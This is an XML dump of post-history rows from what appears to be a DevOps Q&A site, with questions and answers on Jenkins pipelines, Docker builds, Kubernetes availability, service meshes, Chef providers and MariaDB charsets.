  <row Id="19617" PostHistoryTypeId="2" PostId="6129" RevisionGUID="96b8717a-473f-4319-a5e9-07567c5fbcad" CreationDate="2019-01-28T08:42:57.697" UserId="7896" Text="I have a Jenkins parent groovy file which consumes the child groovy file&#xD;&#xA;&#xD;&#xA;**Parent grooy file:**&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    def child = load 'child-groovy-file';&#xD;&#xA;    child.execute();&#xD;&#xA;&#xD;&#xA;**Child groovy file:**&#xD;&#xA;&#xD;&#xA;    a = &quot;first letter&quot;;&#xD;&#xA;    b = &quot;second letter;&#xD;&#xA;    def execute&#xD;&#xA;    {&#xD;&#xA;    echo &quot;a is &quot;+a;&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&gt; But this is not working. Unable to access variables, which are defined&#xD;&#xA;&gt; in Child Groovy file, when trying to access from Parent groovy file.&#xD;&#xA;&gt; When I create a node block and trying to consume directly the child&#xD;&#xA;&gt; groovy file, It is working.&#xD;&#xA;&#xD;&#xA;Is the Environment variables only the solution to access globally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19618" PostHistoryTypeId="1" PostId="6129" RevisionGUID="96b8717a-473f-4319-a5e9-07567c5fbcad" CreationDate="2019-01-28T08:42:57.697" UserId="7896" Text="How to define global variables in groovy file, which I want to load and consume?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19619" PostHistoryTypeId="3" PostId="6129" RevisionGUID="96b8717a-473f-4319-a5e9-07567c5fbcad" CreationDate="2019-01-28T08:42:57.697" UserId="7896" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19620" PostHistoryTypeId="2" PostId="6130" RevisionGUID="90a52205-caff-4c1d-b7aa-77fbddb29c6b" CreationDate="2019-01-28T13:07:56.740" UserId="12085" Text="I'm trying to get the image tag generated with the help of the dockerfile agent in Jenkins declarative pipelines.&#xD;&#xA;&#xD;&#xA;This Jenkinsfile is incomplete though, because I still need the deployment steps.&#xD;&#xA;&#xD;&#xA;Normally, people would then want a step to push to Dockerhub. Although I don't even know how to do that, I want something different: **I want to re-tag the built image locally** to a name of my choice. This is because this is a hobby project, and my Jenkins and production servers are the same. The **problem is that I don't know how to get the dynamically generated image ID** for the `docker tag` command.&#xD;&#xA;&#xD;&#xA;(Then what would come next is to swap out the old running image with the new one, but I could probably take care of that myself.)&#xD;&#xA;&#xD;&#xA;Here is my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            dockerfile {&#xD;&#xA;                args '--network szeremi -e DB_HOST=mysql -e APP_ENV=testing'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Run tests') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'cd /var/www &amp;&amp; php artisan migrate:fresh &amp;&amp; vendor/bin/phpunit'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Please help me use Jenkins declarative pipelines to re-tag my built-by-dockerfile image." ContentLicense="CC BY-SA 4.0" />
  <row Id="19621" PostHistoryTypeId="1" PostId="6130" RevisionGUID="90a52205-caff-4c1d-b7aa-77fbddb29c6b" CreationDate="2019-01-28T13:07:56.740" UserId="12085" Text="Jenkins Dockerfile declarative pipelines: getting the built image tag" ContentLicense="CC BY-SA 4.0" />
  <row Id="19622" PostHistoryTypeId="3" PostId="6130" RevisionGUID="90a52205-caff-4c1d-b7aa-77fbddb29c6b" CreationDate="2019-01-28T13:07:56.740" UserId="12085" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19623" PostHistoryTypeId="2" PostId="6131" RevisionGUID="8c8a368f-0d5f-493a-9327-9c0570671dcc" CreationDate="2019-01-28T15:39:03.983" UserId="12088" Text="While pear is down, the following instruction in my dockerfile is failing:&#xD;&#xA;&#xD;&#xA;    RUN pear install -o --alldeps MDB2-beta &amp;&amp; \&#xD;&#xA;&#xD;&#xA;I've searched on the internet how to install MDB2 without pear, successfully accomplished it by downloading the .deb file from https://packages.ubuntu.com/search?keywords=php-mdb2 and then doing `dpkg -i php-mdb2_2.5.0b5-2_all.deb`&#xD;&#xA;&#xD;&#xA;My issue is that the same instructions are failing when placed in the dockerfile. Here's the instructions:&#xD;&#xA;&#xD;&#xA;    RUN wget http://mirrors.edge.kernel.org/ubuntu/pool/universe/p/php-mdb2/php-mdb2_2.5.0b5-2_all.deb -O php-mdb2_2.5.0b5-2_all.deb&#xD;&#xA;    RUN dpkg -i php-mdb2_2.5.0b5-2_all.deb&#xD;&#xA;&#xD;&#xA;Here's the error message:&#xD;&#xA;&#xD;&#xA;&gt; dpkg: dependency problems prevent configuration of php-mdb2: php-mdb2&#xD;&#xA;&gt; depends on php-common; however: Package php-common is not installed.&#xD;&#xA;&gt; php-mdb2 depends on php-pear (&gt;= 1.3.6); however: Package php-pear is&#xD;&#xA;&gt; not installed.&#xD;&#xA;&#xD;&#xA;I've tried to manually search and install all dependencies, and dependencies' dependencies but failed at the end because one of them is being told to me that it'll break locales thus cannot be installed.&#xD;&#xA;&#xD;&#xA;Also tried another solution I found in stackOverflow to install dependencies for dpkg but it also fails. Instructions:&#xD;&#xA;&#xD;&#xA;    RUN wget http://mirrors.edge.kernel.org/ubuntu/pool/universe/p/php-mdb2/php-mdb2_2.5.0b5-2_all.deb -O php-mdb2_2.5.0b5-2_all.deb&#xD;&#xA;    RUN dpkg -i php-mdb2_2.5.0b5-2_all.deb || true &amp;&amp; \&#xD;&#xA;    apt-get -f install&#xD;&#xA;&#xD;&#xA;Error received:&#xD;&#xA;&#xD;&#xA;&gt; dpkg: error processing package php-mdb2 (--install): dependency&#xD;&#xA;&gt; problems - leaving unconfigured Errors were encountered while&#xD;&#xA;&gt; processing: php-mdb2 Reading package lists... Building dependency&#xD;&#xA;&gt; tree... Reading state information... Correcting dependencies... Done&#xD;&#xA;&gt; The following packages will be REMOVED: php-mdb2 0 upgraded, 0 newly&#xD;&#xA;&gt; installed, 1 to remove and 9 not upgraded. 1 not fully installed or&#xD;&#xA;&gt; removed. After this operation, 528 kB disk space will be freed. Do you&#xD;&#xA;&gt; want to continue? [Y/n] Abort. ERROR: Service 'app' failed to build:&#xD;&#xA;&gt; The command '/bin/sh -c dpkg -i php-mdb2_2.5.0b5-2_all.deb || true &amp;&amp;&#xD;&#xA;&gt; apt-get -f install' returned a non-zero code: 1 Makefile:8: recipe for&#xD;&#xA;&gt; target 'build' failed make: *** [build] Error 1&#xD;&#xA;&#xD;&#xA;Can you point me in the right path maybe?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19624" PostHistoryTypeId="1" PostId="6131" RevisionGUID="8c8a368f-0d5f-493a-9327-9c0570671dcc" CreationDate="2019-01-28T15:39:03.983" UserId="12088" Text="Install MDB2 in docker container while PEAR is down" ContentLicense="CC BY-SA 4.0" />
  <row Id="19625" PostHistoryTypeId="3" PostId="6131" RevisionGUID="8c8a368f-0d5f-493a-9327-9c0570671dcc" CreationDate="2019-01-28T15:39:03.983" UserId="12088" Text="&lt;docker&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19626" PostHistoryTypeId="2" PostId="6132" RevisionGUID="f4e5dd1d-5870-4067-b114-c4582821b5d6" CreationDate="2019-01-28T16:23:02.187" UserId="10533" Text="As I understand you want to add a variable to your docker build command &#xD;&#xA;&#xD;&#xA;in this case, you have to get an environment variable from Jenkins and use it in your image label.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;        docker {&#xD;&#xA;            image 'maven:3-alpine'&#xD;&#xA;            label 'my-defined-label-${BUILDS_ALL_TIME}'&#xD;&#xA;            args  '-v /tmp:/tmp'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Example Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh '#some command'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="19630" PostHistoryTypeId="2" PostId="6134" RevisionGUID="d617d339-d3df-49ff-bbf4-da2ddeaf90ba" CreationDate="2019-01-28T16:35:12.390" UserId="10533" Text="try this one&#xD;&#xA;&#xD;&#xA;    static void main(String[] args) { &#xD;&#xA;          // Initializing 2 variables &#xD;&#xA;          def x = 5; &#xD;&#xA;          def y = 10;&#xD;&#xA;    		&#xD;&#xA;          //Performing addition of 2 operands &#xD;&#xA;          println(x+y);&#xD;&#xA;     }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;check this [URL][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tutorialspoint.com/groovy/groovy_arithmetic_operators.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="19634" PostHistoryTypeId="2" PostId="6136" RevisionGUID="5fad6a54-4e6e-488c-a596-82f614d94714" CreationDate="2019-01-28T17:51:26.143" UserId="12064" Text="Your application requirements really do influence your options here, maybe add more detail about the app because this subject is very much about your application architecture too.&#xD;&#xA;&#xD;&#xA;I notice the question is tagged GKE so am going to assume your considering this as your platform specifically but other cloud providers mileage may vary with their offerings.&#xD;&#xA;&#xD;&#xA;The application state is fixed, pod's are rebuilt as per the spec or source container that defines them and the replication sets take care of the deployment so I'd say the application from a Kubernetes perspective is already high availability by design and the reason why the documentation contains little coverage if any with regard to application level HA.&#xD;&#xA;&#xD;&#xA;It's worth noting too that Kubernetes High Availability with kubeadm is still in its experimental stage and your clusters need to be running Kubernetes version 1.12 or later.&#xD;&#xA;&#xD;&#xA;Google's Kubernetes Engine offers 'Regional Clusters' and these are spread over many zones in a region. This certainly increases your cluster availability. [More here in GKE regions][1]&#xD;&#xA;&#xD;&#xA;The official word on the current state of Kubernetes HA cluster options are well documented here. [https://kubernetes.io/docs/setup/independent/ha-topology/][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/concepts/regional-clusters&#xD;&#xA;  [2]: https://kubernetes.io/docs/setup/independent/ha-topology/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19636" PostHistoryTypeId="5" PostId="6113" RevisionGUID="dc84dd43-561a-4440-8820-02fc5fdc0198" CreationDate="2019-01-28T18:51:46.617" UserId="10599" Comment="added 194 characters in body; added 4 characters in body; deleted 1 character in body" Text="It depends on what you are willing to rent and allow to be managed by someone else. &#xA;&#xA;If we look at this diagram:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;It shows a full range of options. At one end is Do It Yourself with on-prem hardware and setting up networks etc. Next to that is ”co-lo” which implies you buy servers that are installed in someones rack/network/data centre. Next to that is IaaS where you usually rent VMs on purely software defined networks and pay someone to manage the physical servers and physical network. &#xA;&#xA;So where do containers fit in? Well I have seen big organizations treat cloud IaaS a bit like on-perm by setting up networks and firewalls in cloud to exactly match on-prem with private network connections into the cloud datacenter. So getting very little advantages of cloud. What they are mostly managing are dozens of legacy systems that they have ”lifted and shifted” from on-prem into a cloud provider as part of a multiple million dollar cloud contract. Obviously, they still need all the configuration management like they were using on-prem to manage the VMs. Then they install Kubernetes to manage containers and have to manage that. The cost of all the engineers they need to hire to keep it all running is huge. In such a setup its clear they need configuration management at every level and clusters of containers are just one more new thing they need to configure and manage. &#xA;&#xA;At the other end of the spectrum is SaaS and you don't know if they use VMs or Containers. You then have no traditional configuration management and usually no devops. From the devops perspective an interesting choice is CaaS+PaaS where you rent capacity on a managed Kubernetes service that has devops extensions such as OpenShift. As a start up you can simply rent memory on a shared cluster where you are isolated from other tenants via software defined networks within OpenShift Kubernetes. Then you have outsourced both management and configuration of the VMs in the cloud and also outsourced patching and expanding the Kubernetes cluster running on the VMs. You can then focus on configuration management of your containers on Kubernetes. (**Note**: You still need to security patch the container runtimes. We have a script that checks for new security patches to RHOAR containers and rebuilds our containers with the latest versions.) &#xA;&#xA;So it depends on how much you can and are willing to relinquish control of. Its easy to start out renting a fraction of a shared managed cluster then upgrade to a dedicated cluster still managed by someone else. Once you start out doing that on public cloud its hard to imagine any additional advantage of going back to managing VMs in the cloud. Unless you are forced to do so to run legacy apps or software you had to buy that doesn't support being run in containers. If you must configure VMs you should apply best practices of configuration management.&#xA;&#xA;  [1]: https://i.stack.imgur.com/O3zPX.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19637" PostHistoryTypeId="2" PostId="6137" RevisionGUID="06b0d5b6-f7e4-478e-a1ab-c1ad6d8df06d" CreationDate="2019-01-28T20:14:56.197" UserId="6162" Text="I would say that [Istio][1] is the de facto standard for Service Mesh. It is launched by both Google and IBM.&#xD;&#xA;&#xD;&#xA;* [Welcome to the service mesh era: Introducing a new Istio blog post series][2]&#xD;&#xA;&#xD;&#xA;* [IBM, Google Cloud and the open community launch Istio 1.0 to bring microservices to the enterprise][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://istio.io/&#xD;&#xA;  [2]: https://cloud.google.com/blog/products/networking/welcome-to-the-service-mesh-era-introducing-a-new-istio-blog-post-series&#xD;&#xA;  [3]: https://www.ibm.com/blogs/cloud-computing/2018/07/31/ibm-google-open-community-istio-microservices/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19649" PostHistoryTypeId="5" PostId="6136" RevisionGUID="009c1525-e42e-4672-9df0-c27e6d4a79a1" CreationDate="2019-01-29T00:11:11.520" UserId="12001" Comment="Improved grammar" Text="Your application requirements really do influence your options here, maybe add more detail about the app because this subject is very much about your application architecture too.&#xD;&#xA;&#xD;&#xA;I notice the question is tagged GKE so am going to assume you're considering this as your platform specifically but other cloud providers mileage may vary with their offerings.&#xD;&#xA;&#xD;&#xA;The application state is fixed, pod's are rebuilt as per the spec or source container that defines them and the replication sets take care of the deployment so I'd say the application from a Kubernetes perspective is already highly available by design and the reason why the documentation contains little coverage if any with regard to application level HA.&#xD;&#xA;&#xD;&#xA;It's worth noting too that Kubernetes High Availability with kubeadm is still in its experimental stage and your clusters need to be running Kubernetes version 1.12 or later.&#xD;&#xA;&#xD;&#xA;Google's Kubernetes Engine offers 'Regional Clusters' and these are spread over many zones in a region. This certainly increases your cluster availability. [More here in GKE regions][1]&#xD;&#xA;&#xD;&#xA;The official word on the current state of Kubernetes HA cluster options are well documented here. [https://kubernetes.io/docs/setup/independent/ha-topology/][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/concepts/regional-clusters&#xD;&#xA;  [2]: https://kubernetes.io/docs/setup/independent/ha-topology/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19650" PostHistoryTypeId="24" PostId="6136" RevisionGUID="009c1525-e42e-4672-9df0-c27e6d4a79a1" CreationDate="2019-01-29T00:11:11.520" Comment="Proposed by 12001 approved by -1 edit id of 926" ContentLicense="CC BY-SA 4.0" />
  <row Id="19651" PostHistoryTypeId="5" PostId="6136" RevisionGUID="59129a10-05f8-410c-a6f9-a003179dbf53" CreationDate="2019-01-29T00:11:11.520" UserId="12064" Comment="Improved grammar." Text="Your application requirements really do influence your options here, maybe add more detail about the app because this subject is very much about your application architecture too.&#xD;&#xA;&#xD;&#xA;The application state is fixed, pod's are rebuilt as per the spec or source container that defines them and the replication sets take care of the deployment so I'd say the application from a Kubernetes perspective is already highly available by design and the reason why the documentation contains little coverage if any with regard to application level HA.&#xD;&#xA;&#xD;&#xA;It's worth noting too that Kubernetes High Availability with kubeadm is still in its experimental stage and your clusters need to be running Kubernetes version 1.12 or later.&#xD;&#xA;&#xD;&#xA;Google's Kubernetes Engine for instance; offers 'Regional Clusters' and these are spread over many zones in a region. This certainly increases your cluster availability. [More here in GKE regions][1]&#xD;&#xA;&#xD;&#xA;The official word on the current state of Kubernetes HA cluster options are well documented here. [https://kubernetes.io/docs/setup/independent/ha-topology/][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/concepts/regional-clusters&#xD;&#xA;  [2]: https://kubernetes.io/docs/setup/independent/ha-topology/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19652" PostHistoryTypeId="2" PostId="6140" RevisionGUID="1b56e616-2bf4-4a6a-8369-485760a66791" CreationDate="2019-01-29T08:32:32.130" UserId="10599" Text="In general you are going to find the best support for “an X” on Kubernetes by looking at what “X” projects are members of the same software foundation so governed by the same organisation. Kubernetes is part of the [Cloud Native Computing Foundation][1] so you should study what [“Xs” it offers][2]. In the case of service mesh CNCF has Linkerd. &#xA;&#xA;At this point in time though as other answers point out there is a lot of momentum around itsio. This [uses Envoy][3] which is a top level CNCF project to actually shape the traffic between your containers. That is reassuring as we would not expect k8s to suddenly break Envoy at a minor release so we might expect itiso to be able to keep up to date with k8s. That’s a guess though. &#xA;&#xA;You should also consider whether there is a “service mesh like” tech for that stack you use already. If for example you are a Java shop doing microservice like a lot of big firms then you are probably using spring boot and spring cloud. In which case spring cloud already had a bunch of components that offer the same benefits as a mesh but do it in a more traditional way (libraries embeds in your app). By way of example [here][4] is an architecture demo of how to port a java spring cloud airline booking microservices demo app onto openshift Kubernetes. In that doc they mention itsio but actually they stick with spring cloud ribbon, eureka and zuul. Spring cloud also has distributed tracing etc. &#xA;&#xA;This then leads to three choices if you’re a java shop. In order of more conservative first:&#xA;&#xA; 1. If your writing Spring Boot microservices stick with Spring Cloud. Developers can run it all as “just java” in their laptop and will take responsibility for it all working well on k8s as it’s “obviously” something they should master. &#xA; 2. Deploy Linkerd as it’s an established CNCF project so the most mature option &#xA; 3. Deploy itsio which went to v1.0 relatively recently but is likely to mature fast. &#xA;&#xA;The smart money if you have the time is to try out all three. &#xA;&#xA;  [1]: http://www.cncf.org&#xA;  [2]: https://www.cncf.io/projects/&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/#envoy&#xA;  [4]: https://access.redhat.com/documentation/en-us/reference_architectures/2017/html-single/spring_boot_microservices_on_red_hat_openshift_container_platform_3/index" ContentLicense="CC BY-SA 4.0" />
  <row Id="19653" PostHistoryTypeId="5" PostId="6132" RevisionGUID="20ea7eb8-64e5-45b1-aa85-b5aeec27ad8b" CreationDate="2019-01-29T08:48:24.943" UserId="10533" Comment="added 150 characters in body" Text="As I understand you want to add a variable to the docker image tag, &#xD;&#xA;&#xD;&#xA;in this case, you have to get an environment variable from Jenkins and use it in your image label.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        pipeline {&#xD;&#xA;      environment {&#xD;&#xA;        registry = &quot;docker_hub_account/repository_name&quot;&#xD;&#xA;        registryCredential = 'dockerhub'&#xD;&#xA;      }&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('Building image') {&#xD;&#xA;          steps{&#xD;&#xA;            script {&#xD;&#xA;              docker.build registry + &quot;:$BUILD_NUMBER&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;pleae use this [URL][1] for more info&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@gustavo.guss/jenkins-building-docker-image-and-sending-to-registry-64b84ea45ee9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19654" PostHistoryTypeId="2" PostId="6141" RevisionGUID="ee0e90c2-33a5-4726-9a6a-e2a0e9d38f3b" CreationDate="2019-01-29T08:58:52.530" UserId="10533" Text="You can add one more step before running build and list the jars to ensure that this is the right jars then copy them to the place where is your Dockerfile and run the build " ContentLicense="CC BY-SA 4.0" />
  <row Id="19655" PostHistoryTypeId="2" PostId="6142" RevisionGUID="c347d86e-d0fd-414c-8fc0-e2d7c20a31a4" CreationDate="2019-01-29T09:13:23.900" UserId="10599" Text="Here is [nginx and php][1] done as an s2i builder image. You can basically have plain old php in a git repo and run s2i to make a runtime image that runs it with nginx and php. You simply docker build that dockerfile and pass the resultant image as the builder image to s2i along with your source code.&#xA;&#xA;You will notice I have archived that project. That is because redhat have security patched image for php at https://access.redhat.com/containers/#/registry.access.redhat.com/rhscl/php-72-rhel7 they happen to use apache httpd but since I don’t see that I use tell s2i “make a runtime container for my php code in git” and it just works and I get frequent security patches it’s way easier than messing around with my own dockerfile to do security patches. &#xA;&#xA;&#xA;  [1]: https://github.com/UniqKey/s2i-nginx-php7-container/blob/master/7.2/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="19660" PostHistoryTypeId="2" PostId="6144" RevisionGUID="6c9674fe-7564-4bf8-bc41-33005a60abcb" CreationDate="2019-01-29T11:16:00.670" UserId="12104" Text="I'm setting up our CI (Jenkins pipeline) to deploy apps to a GKE cluster. Our Jenkins sever is running external to GKE or any Google Cloud infrastructure. I'm thinking of using [a docker image with helm and kubectl][1] to deploy, but need to set up credentials. On my local dev machine, I authenticate with:&#xD;&#xA;&#xD;&#xA;    gcloud container clusters get-credentials [CLUSTER_NAME]&#xD;&#xA;&#xD;&#xA;What would be the best way of setting up credentials for a Jenkins job? Do I have to install and use the `gcloud` tools on Jenkins, or is there another approach?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/dtzar/helm-kubectl" ContentLicense="CC BY-SA 4.0" />
  <row Id="19661" PostHistoryTypeId="1" PostId="6144" RevisionGUID="6c9674fe-7564-4bf8-bc41-33005a60abcb" CreationDate="2019-01-29T11:16:00.670" UserId="12104" Text="Deploy to GKE from CI server outside of cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="19662" PostHistoryTypeId="3" PostId="6144" RevisionGUID="6c9674fe-7564-4bf8-bc41-33005a60abcb" CreationDate="2019-01-29T11:16:00.670" UserId="12104" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;continuous-integration&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19666" PostHistoryTypeId="2" PostId="6146" RevisionGUID="fa1d2b4d-d287-4e99-adc4-4120ca3780e0" CreationDate="2019-01-29T15:08:22.703" UserId="11070" Text="I have a problem during migration of chef-client 12 to chef-client 14 and seems that the old way to load Providers is different in chef14&#xD;&#xA;&#xD;&#xA; `Chef::Provider::DeployKeyGithub` cannot be load&#xD;&#xA;&#xD;&#xA;```  &#xD;&#xA;    deploy_key deploy_key_name do&#xD;&#xA;        provider Chef::Provider::DeployKeyGithub&#xD;&#xA;        path &quot;/home/#{current_user}/.ssh&quot;&#xD;&#xA;        credentials({&#xD;&#xA;            :token =&gt; File.read('/root/someid').strip&#xD;&#xA;        })&#xD;&#xA;        repo 'test/test_config'&#xD;&#xA;        owner 'root'&#xD;&#xA;        group 'root'&#xD;&#xA;        mode '0400'&#xD;&#xA;        action :add&#xD;&#xA;    end&#xD;&#xA;```&#xD;&#xA;Error:&#xD;&#xA;&#xD;&#xA;```Recipe Compile Error in /var/chef/cache/cookbooks/flume_wrapper/recipes/default.rb&#xD;&#xA;================================================================================&#xD;&#xA;&#xD;&#xA;NameError&#xD;&#xA;---------&#xD;&#xA;uninitialized constant Chef::Provider::DeployKeyGithub&#xD;&#xA;&#xD;&#xA;Cookbook Trace:&#xD;&#xA;---------------&#xD;&#xA;  /var/chef/cache/cookbooks/flume_wrapper/recipes/default.rb:89:in `block in from_file'&#xD;&#xA;  /var/chef/cache/cookbooks/flume_wrapper/recipes/default.rb:88:in `from_file'```&#xD;&#xA;&#xD;&#xA;Does anyone knows how is the new way to load a Provider in a recipe for chef14 client?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19667" PostHistoryTypeId="1" PostId="6146" RevisionGUID="fa1d2b4d-d287-4e99-adc4-4120ca3780e0" CreationDate="2019-01-29T15:08:22.703" UserId="11070" Text="Chef14 Load a provider in a recipe Chef::Provider::DeployKeyGithub" ContentLicense="CC BY-SA 4.0" />
  <row Id="19668" PostHistoryTypeId="3" PostId="6146" RevisionGUID="fa1d2b4d-d287-4e99-adc4-4120ca3780e0" CreationDate="2019-01-29T15:08:22.703" UserId="11070" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19669" PostHistoryTypeId="5" PostId="5919" RevisionGUID="466be297-2940-4956-9178-1d9055c4df90" CreationDate="2019-01-29T15:20:12.160" UserId="40" Comment="deleted 2 characters in body" Text="My senior recently argued that DevOps related roles such as DevOps Engineer, SRE, etc, will be less relevant once serverless matures. He pointed me to [this article](https://read.acloud.guru/simon-wardley-is-a-big-fan-of-containers-despite-what-you-might-think-18c9f5352147).&#xD;&#xA;&#xD;&#xA;Can you see less and less DevOps roles being available in the age of serverless? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19673" PostHistoryTypeId="2" PostId="6148" RevisionGUID="bf3c593a-54bd-4fab-a8f9-71816e144941" CreationDate="2019-01-29T16:48:16.133" UserId="11179" Text="I noticed when running a stock MariaDB Docker image in a container, the default character set is `latin1`:&#xD;&#xA;&#xD;&#xA;    CID=$(sudo docker run -d --rm -e MYSQL_ROOT_PASSWORD=p mariadb:10.3)&#xD;&#xA;    echo &quot;show variables like 'char%';&quot; | sudo docker exec -i &quot;$CID&quot; mysql -t -u root -pp&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;    | Variable_name            | Value                      |&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;    | character_set_client     | latin1                     |&#xD;&#xA;    | character_set_connection | latin1                     |&#xD;&#xA;    | character_set_database   | latin1                     |&#xD;&#xA;    | character_set_filesystem | binary                     |&#xD;&#xA;    | character_set_results    | latin1                     |&#xD;&#xA;    | character_set_server     | latin1                     |&#xD;&#xA;    | character_set_system     | utf8                       |&#xD;&#xA;    | character_sets_dir       | /usr/share/mysql/charsets/ |&#xD;&#xA;    +--------------------------+----------------------------+&#xD;&#xA;&#xD;&#xA;I _suspect_(correct me if I'm wrong) this may be related to the container's system locale :&#xD;&#xA;&#xD;&#xA;    echo &quot;locale&quot; | sudo docker exec -i &quot;$CID&quot; bash&#xD;&#xA;    [sudo] password for sylvain:        &#xD;&#xA;    LANG=&#xD;&#xA;    LANGUAGE=&#xD;&#xA;    LC_CTYPE=&quot;POSIX&quot;&#xD;&#xA;    LC_NUMERIC=&quot;POSIX&quot;&#xD;&#xA;    LC_TIME=&quot;POSIX&quot;&#xD;&#xA;    LC_COLLATE=&quot;POSIX&quot;&#xD;&#xA;    LC_MONETARY=&quot;POSIX&quot;&#xD;&#xA;    LC_MESSAGES=&quot;POSIX&quot;&#xD;&#xA;    LC_PAPER=&quot;POSIX&quot;&#xD;&#xA;    LC_NAME=&quot;POSIX&quot;&#xD;&#xA;    LC_ADDRESS=&quot;POSIX&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;POSIX&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;POSIX&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;POSIX&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;&#xD;&#xA;Is there a way to create a MariaDB image using utf8 everywhere without having to write and mount a custom `my.cnf` configuration file? Ideally, I'm looking for a Dockerfile-based solution.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19674" PostHistoryTypeId="1" PostId="6148" RevisionGUID="bf3c593a-54bd-4fab-a8f9-71816e144941" CreationDate="2019-01-29T16:48:16.133" UserId="11179" Text="How to create a MariaDB/MySQL image using utf8 instead of the default latin1 charset?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19675" PostHistoryTypeId="3" PostId="6148" RevisionGUID="bf3c593a-54bd-4fab-a8f9-71816e144941" CreationDate="2019-01-29T16:48:16.133" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19676" PostHistoryTypeId="2" PostId="6149" RevisionGUID="356b2aee-7830-4e25-8fc1-2b5a9170d896" CreationDate="2019-01-29T17:18:18.603" UserId="11179" Text="How to kill all Docker containers based on a given image?&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;    sudo docker ps&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    58251f04892a        mariadb:10.4        &quot;docker-entrypoint.s…&quot;   53 seconds ago      Up 52 seconds       3306/tcp                 optimistic_ramanujan&#xD;&#xA;    2a08ee7d9afe        mariadb:10.3        &quot;docker-entrypoint.s…&quot;   2 hours ago         Up 2 hours          3306/tcp                 thirsty_taussig&#xD;&#xA;    65abd7a3b3e1        mariadb:10.3        &quot;docker-entrypoint.s…&quot;   2 hours ago         Up 2 hours          3306/tcp                 angry_lederberg&#xD;&#xA;    32076aa4745e        mariadb:10.3        &quot;docker-entrypoint.s…&quot;   2 hours ago         Up 2 hours          3306/tcp                 distracted_kapitsa&#xD;&#xA;&#xD;&#xA;I would like to kill all containers based _directly_ on the `mariadb` image (ideally, both 10.4 and 10.3).&#xD;&#xA;&#xD;&#xA;The following solution does not work since it will kill all containers having `mariadb:10.3` as an ancestor--and not only those directly based on that image:&#xD;&#xA;&#xD;&#xA;    sudo docker kill $( sudo docker ps --filter ancestor=mariadb:10.3 )" ContentLicense="CC BY-SA 4.0" />
  <row Id="19677" PostHistoryTypeId="1" PostId="6149" RevisionGUID="356b2aee-7830-4e25-8fc1-2b5a9170d896" CreationDate="2019-01-29T17:18:18.603" UserId="11179" Text="How to kill all Docker containers based on a given image?" ContentLicense="CC BY-SA 4.0" />
